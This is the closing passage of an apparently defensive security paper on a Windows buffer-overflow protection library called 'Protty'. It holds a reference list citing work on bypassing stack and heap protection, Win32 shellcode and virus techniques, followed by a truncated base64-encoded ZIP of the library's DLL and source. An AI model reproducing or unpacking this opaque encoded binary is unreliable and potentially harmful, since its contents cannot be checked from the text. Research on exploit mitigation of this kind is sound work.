[5] - Bypassing 3rd Party Windows Buffer Overflow Protection
- http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_
BufferOverflow_Protection.txt
[6] - Defeating w2k3 stack protection
http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.
pdf
[7] - Gaining important datas from PEB under NT boxes
http://vx.netlux.org/29a/29a-6/29a-6.224
[8] - IA32 Manuals
- http://developer.intel.com/design/Pentium4/documentation.htm
[9] - An In-Depth Look into the Win32 Portable Executable File Format
(PART2)
- http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx
[10]- Windows Heap Overflows
- http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/
win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf
[11]- Technological Step Into Win32 Shellcodes
- http://www.astalavista.com//data/w32shellcodes.txt
[12]- EPO: Entry-Point Obscuring
- http://vx.netlux.org/29a/29a-4/29a-4.223
--[ X. Code
Library binary and source code attached to paper. Also stored on
http://pb.specialised.info .
--- START OF BASE64 CHUNK - PROTTY LIBRARY PACKAGE ---------------
<++> PROTT-PACKAGE.ZIP.BASE64
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
30XIQzB2/CPToqbPiI6JfSxu5txFmTkF+tVr1v7+idKyJ9c9/ewLr76x/2DD
ocN/+vORo8daP/jos39+29P9w81bt+/cdcD9PmRK6NRHw6bJkzOWqUlN4coi
rU5vLLNUb9m2+82avW/te3t//ZH3Tp779B/M5a/t31y5+u2NOwi9xd/H3xW3
O67GYy9sfm7fe5/zTAxifxeYVMVjrypaJfS03y89o3JIVNaJlTzoPctd0v+2
rX+M9e1Xc4fQqkI/r4VbeAAeDcEZYBTwGQk+pQHu5SCG3jqvft1eLXgcQ4oA
c8ncmBjnWztITQq62RQREi1mslM4AvpKZpFT3jvP5Cnw6GazFUBMpAMtHVQQ
pBVxThV/6DJ3e00GuEyWCoW3pY0KhYI8sNMXkY6Z6DzZ6Zh5nHzBo+N9EjQP
kLs3pzrIzanzQ0g0P2S3wkmkwyOvg1z5me4KudT33Fky/PLKIlJY9doe0rHu
lTfIW9OqrpArz2n3ks9/+VYkmf3hjmWkJ3eCG7nhtcBZpL0lMI88v8rnAKmd
vOkEqV1ZdpDcvVt7kPTa6nCQafMTT5Ew3QdkZ+zuzeTxOYe0ZNoeeQmpPfj8
LvKAtmMV2bFK20E2X1ilJYlv1vmQPs13W8lW6JLHgtvvknXB7fNJcfrGOtIh
rnNIT9RzpR0M/pHau8PouXT5ksVphcTSBae/ti2TNjI4E997qUtpc5wriYaD
VyeDrmEqdB+CIwD6Xqw411bnZ2tA5VwEnAOclXJsdYStzgQDgfkdMAVCDj5D
wVEIxyTQHwstvwGZ3Jw6tSYwwGUHBl6tzFb3GhY/CCNfJ3A9nKsl2NN1PJvg
cM8o3BfA4Z7f4Im1OXyXKewRwcceEU6PnL7G2+oanf6V4wbUTNhFAxjfjlye
N2HLfrZ5tlxpo/QMXSQMri7jFk7Ovt1ZA1fFVJoSCvNj+IKKJ2FV+eY4B7Wm
ij+HDnq6y9ZjfNz7bKU8IFYgqHgFzsZ2CyoO4rZLUIF/UIk9KajAsehqkTkz
QWsGv6olv/ySh8ceP4rHzUB7CGiMHMGBNmuy1xfu1WWBnbuqTlmTR+I+0bkr
FCbfapVznb99SBvtnVVfTLxk+rLH2Ol9tsvmZxR22QjjuC6bySjossmM7pdz
4VKtlI+yd1XKR9uvm4wcvt1uMiK+/R/gdaX8Pu/NT+NvPsw3HVTt5TwAd/Gn
G7tMpzj267j3jekUYf+nKY4wXjKdcrN/yiqNUQinxxJZRi9TWYDD6CY4fHNU
1ef5kzwaTbcbqWBTGeJSU2PdjN6mU54sfqzQw3RbRo023TZR/PzH3JGRZ2pz
u3wX/ulMbRx7V/5jfER5Ycg1gBi/MrVx7Red/4I4/HQGv6vZRLlVyUfXdDV7
Urzaa9DKsGAUdCBytQXQQuhq82uq5AE1gsOX/Erg7H01EGkMGwMdT9wZW1Nt
DKSTvTp3VRsJOnkkRBRmsZZxraU4oI5Js2VQR02ax/IklitYns7yLODD9H+F
0uclphHwh7/zIdLkCemJixb+1j4N069HwbL+fi70Z8uGxulAboJjIxzb4dgD
R4Ps58/1ZdOqoiKE/DmQq+MCIV6lMuAiAc3iDCpn0AZOkl6pStKsMCgNayHH
nM11Zukq7qDyEz0+qNYYpv8GSRTO7xl7j2AYT4VDBIcAUpzH2K/tiqGGpNay
1RH7EUmO8wuS39TzYfrFBPuKP0nZK4oUzxEvFj8h3iDeLH5V/IbYV5IuKZDU
S4Kkj0ibRD2iuyK+eJy4WLxQsk6yXfql9JZ0ZHhE+OvSG1IiPCe8I9we7h9x
OPz98LERD0UII7ZH7InwjYyKzIvcENkQ+WWkX1RsFBlFRVmiHoksi3w98kzk
3cgpUYujdFGbZ748s27msZnvzbwwE7EfnWJ/RKIsUY4oX6QV1YgOiJpFp0QX
RF+JvhO5iSNFsSIf8ShxvDhHXCtuEH8rjpboJJHiVPEqcbn4afFxMV9CShol
b0p6JEppkdQgXR/eJu2WzgwvCz8afiNcGJEdsSmiNeJORFikMnJX5CeRI6Ji
oppmtM4IiZ4WnR63JC43Lj+uKM4Q99tuzDAN0/8+/QtQSwMEFAAAAAgAj4rB
MvuuLWqWAAAA1AAAACgAAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L2Jp
bi9SRUFETUUudHh0XU5RCsIwFPsv9A65gBW8gbgJwtQPHfgnXfdkD2Zb2jfm
bu9wH4qBQCAhSUxBZDJt36Nhb9Ok1eofWmm1C8/IPbUYWbowCOpyj46GxFnY
ZVj/tU7XoqrMTNArhiTI5ISDR5zHFmm0OjwwhQGj9QIJYO8S2Uzrlhbxk85I
5JYDkI7Qc5PmqwbH7e1+PBd1VV60yvQp2pg3UEsDBAoAAAAAABZYwTIAAAAA
AAAAAAAAAAAhAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
UEsDBBQAAAAIAFlheTJDRARvYgAAAI4AAAAsAAAAUFJPVFQtUEFDSy9wcm90
dHktY3VycmVudC9zb3VyY2UvY29tcGlsZS5iYXRLSc1RKCjKLymp1EvJyeHl
SkHw85OyeLlKEotzjY0U9HMNgdgYiCug0jo61kDZnMy8bKC0bkhBioJuYiJM
DqYkM7cgv6jE2EgvJzNJB2ZNapoOL1eAa3hQsKuznrO/L5L9AFBLAwQUAAAA
CAAuWnkyLwFFIKEFAAA3FAAALwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl
bnQvc291cmNlL2RlYnVnX3Byb3QuaW5jrZdbj5tGFICfseT/MFJf2krZsN6b
00RNMYx3aViggJ3dvCAM2EZibQJs4vTXdy4Ml5mxrUjFsmxxvnPm3OYwvAeu
5wTBMzBt3VoYEMxNC4I3P3WNR+9/TuGYFeYL+vkb6gF4A+Iyjeo0AasfwM32
dQlm0S6LwIcV/rko8K2/Ni9Rll/E+5c/sYltXRd/vH1brC6qIo2zKM+qNLnI
duv9/+Um/hiz+1B37MC0F1DBF/xnoaiqeom+k20n9xwrnHlQ+8SYa8pMOUZX
OOCmAeCTDt3AdOzQdoLwQbMNCxoNOqXoZYMG0Hs0bS2AYfCAljQ4i1cChtKs
Q9/nuOstDlBHFjokNOBsgZxZQjto6KuWoatJkMl41Lk/FBP5JZabwYlFbhpC
ugR1ejyyHCyyLJn4djxyFoG7CBqhH3imPVxjOh4t7FM27sYjz3S7e+TmO9oH
/Qg1nUSxNB1LwzdYV8QquXBFO5g0heuYdgDaiylMqcLVQMHQAi14dmH4aPqa
Zd7bj10ITGMy0PBRpBZEIUNX4cDrAah5nvYczpyFbfik4aDR9ljj/TQeaMwt
nFDb8R41K3Rc6KG+5BQSUcFcmgYMZ8/hF+g5HJ4KuGnDJ00PQg/6Cyvg8LUE
X6K0GNQbMf3vVEHDWUJvbjmfFY68FEg/0PRPof4A9U8cOxFYlES52WE5UeFP
JuTdtYAf83fYWK5nLhGOGn2hS9JwO4Btx26mmDZDrdIKBjqTmxM6/a3cNh5J
V8/dnrF1wsVFq2aYvuv4pujw5HZL95lvfoGhMw+n6tX0DjXFvYka2yPDK/36
imYhxeotemIkYbzf1emhJtuVpGI8ig+hTu/O82hTEZHx2fEMBQBVUd43KmCN
pfhJgqOET2xytCsSS0apKoKFJF29bkCZbrKqTkvwi9qgl+fRywadnEcnDXp1
Hr1q0Nvz6G2D3p1H7/rJQRVGuw2NVDLL2iyX+/zzvkwEW+viFTSJJqxfR/Vr
JaJEGESbIxJYlvvSWa+rtD4m9dM8jet9KYqNqI6O6mJhX5UTe00WNNRlRDx7
DiCSHulOkLwW4Ff1N5qXUrWLA4445S13+fThPR7stMv8dHMvNuqmaovBqLlI
rUUKilQqUoZIJX2q8xUVHN5Dj+Y8ycTOSZNsaB5WMqriqdVBQq0OHJXIqISn
YhkV81Qko6KDNOzmzNa4WshcLTjzmYzKCiH3umQscRWC8umVkrHFZ1u2bCUu
64v2qr4tagWi4wEesY/w0fHQeUHzTR31wByfAprB3Yzab1/DWVSlWpKUKTJE
jzaKu3RMAyhqd+ABBNXyfB9HdbbfYSWe5hC33Ndoc2IIMJcZhTfnfudn/7ZG
qJjJydZjoqFqZ1YiDH4UMrUTecCpAvSBJD1IY7pLV1wkWbidZ3m3Cj3ooz8q
YHLkYtzLZo9okYA8/GQEQ/IC59hZmy/Rpl3NIrkegsl3A499E703YcfaeUl7
ZIDuWlJIPb84ddBCtcx7tZatnxeoWmXNtVDPaMuRUOzo5WQ468Uui/dJy/Tt
nKoQ6/nuxOJBnerS6qFHHjzEaYF7U0cL9DaSAkj1WjHZuJJIlPEolNlvkZ6N
Jh/tBqFi+/VllZZuVKIsoA1bHdPGNSpfyD4a+iAPUAx+kBsxAV4as+e1aO+D
it7Pk+/zrKxqfRvt4kGuqKNHFmKOcG9pvB95wvZRbw+RrUokrPeNPO/apBOf
7PgOG3a7IgK9jpQtwzpRadtQPRoYi3uB3iroYEEX+ctm8vHeJelWuFr0zfcA
6fJEPliZucO9I7MxlqQsh/BbuqvZbmgKrDZAM8bM/rGuFdL5IJMtmuCZPx9F
N5h77sJ/0ELaFKBzMAAs3BAaJhhetIYfGwIgxD+NIGLmniP8s8Ts6RxhnCX0
s4R2lBBzRbPYvx/iwy0WofcscP37FOf4P1BLAwQUAAAACAC9c4kye3r6p/wB
AABdBAAAKwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL215
X2RsbC5pbmONVFFvmzAQfkfiP1h52lQWRZk2VWyaSLpqjdQ2VZq3KEIHvhA2
g5HtNGy/fmdDcLZs2lDAcPfd3Xf32Rm/u37fhMG4khwF2wkwYRAGZZ2LA0d2
LOu3U2jKMRmsPclBiJZVkCvJ2jDA1qCqWRs3ShLAep255pWFNxr3jK4Oz9hx
D2bKZRiw/hKSQmhNEvmCKiV4uoeaC1Qe45L+A1PJF7eibqINPa4m1/utdw91
L3PEHtVK1SXhbUS3dzQH7drgR6k4a4xiOx1vCLK9ZHCJiYiPx51G84GtUBup
kD3f3rE3w5cU3FmGFsNAnU/xf+jK5i9ULjG/BJ64OaVt0/qHl7qTCnqRaeUZ
a6NJGEDsBXeRHLNDMT1FRqUzCQNThQXDjIbhBlr6IqNX+Wv2VEqiOoe6BPYx
s8u4saakqKAU41xWn0Y+pO2zTHpCvtkNlbhKH1BrKHAu29nW80vyPebfTtxQ
qTSnfR9VujhvsGoYAg21d4fB1xqtY+hMFxF7mKeLm+Xj7Wq1XBHCxrSl+X0c
SYEmpQOUAueqL1tFcDbf4VDdS+D3ZaZAfZ95P/R9EqEB+QXNE523GaWkLs+6
82PuKtHbH4SD2MnvnKS6PmT2PZK7nUZjAedq0l8DB9PJPVrfLZ4Z/T7P1jPa
pTfrxfJxZPcAobpJcSFIrTruQn8CUEsDBAoAAAAAAJ2MwTIAAAAAAAAAAAAA
AAAmAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9Q
SwMEFAAAAAgAMUpPLJnanyiBAgAAbAoAAC8AAABQUk9UVC1QQUNLL3Byb3R0
eS1jdXJyZW50L3NvdXJjZS9wcm90L0FERTMyLkFTSKWVXW+iQBSG7038D+cS
41phSlqyrttQwaapLob2ontl0BlbGr6WD0Ob3f++DAgygBJ1bkZh3oc577wH
up0RyIp6jWCLrnjU7XQ7k6Wq65oO1UH+ROk8ENjrIxiPTWdrWCYG11u7mFCG
rCi6cJDBZ0N4Lxh/cxFqE6GSyDY+YUUgCgiGwLQjKzQc4kaB9ZnjxDacWNnD
TJs81TRVkbQXvRtbAqnI88nGjCnj5rZOqDIEfs/AZGNg7H8HBD8Gg58gppCb
dghiIdgIDRaiq4tWiMhXqklE8a4a4KZoOL3uUdaz+tDKkqosKtobI//6vdDV
6eNrI4KjRfepff3sHPppAf300ekWFPlFbkmVwPOVE6WillQhRnQ8VRTXkiqx
tofnx/s276SyiK5PbAuIE+ZJroeqLE/KLslpmgLzi0B/nIcr33o9VmUMYjA0
TyUM/Usxc03R50eLERlMsj6OY304p+J7WWlxQmLEkRMFkWHBxvVhoYL6qg6V
2YyStMVEU9TqyZZI1JNqHpGTv6WA46fgol7WJrPjm0INKJ9YRmgmPwz/LbKT
kwLuI46zVnnRGvquxBNZ3tp1Qt+1IN4QHzifhN8+bK9XKnI5e0ANJKFymCP4
tyunImBEtzVR6q7rhaZtfiU1uU5eRB1TUKSGR3c72AyMwF4GoR+tw9Lt2oVC
lim4HkA6FYhdbvdL8Sqb72oIMJ2hGyV0GhaCywia2UsQFnHYpRgfRACkhHwe
j5ODvEo+jBEpcBvLeDsdZzoFoOjscwFFT58L8IlXceSwqY2AgLAWnAzY9e+l
AHQ+wHaxb1/kgbm6zAO2NUoACXDkAXfXawGwjXEKAA4M4uCAvgIO3f8PUEsD
BBQAAAAIADFNTyzJ7s0eiQYAALEeAAAyAAAAUFJPVFQtUEFDSy9wcm90dHkt
Y3VycmVudC9zb3VyY2UvcHJvdC9BREUzMkJJTi5BU0mtWdtu3DYQfc9X6LFB
biQlUZKDPOi2RYGiBYr0uYjrRdcFYrSIWxT9+moONUNxl6NdFNkH2mvycG5n
hkP6ffHm631evC/6aS5dURR/u7eGfn7T//zxxzffzj/MP/Uf56k4fPf9/JL+
/s/LwnZd98aZZd3p+fmPu3fv/jWf7x+Pb3/9/f7t0/F52e1r6vbp4Vi6X748
/nssks/xz7/ws7bNq7J1r6z1RfG++PChsMbWK+z++Nvj09365fHp8fnuRXH2
ebgvjDen16YdlqEZl8FVPBzoa1kuw2hOWWhN0Dj4dhkGvww9ocxEgwLF2sOB
JBzCstdmanmTQxlms1AARlnbNYSnYSIjxiFMZKEQGAfoik36mnYiq2u3Aw0C
12WvTdWTrzqe0GyNyyDmzGs8XPFwdBhs9SUbrNnqaXKC1vMyzBNvUg8cnKnO
Q6eS15Zk6wwLIWvkiYUhWWhLtvbknL5NtG5o6EiTvtmjBIlxtBY7Ra2DOYrC
npb1g0SI5M+keg8O+x031WTcBNJaco4INBhoJ2fzUFPx2nZkqy19rRxPzEMe
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
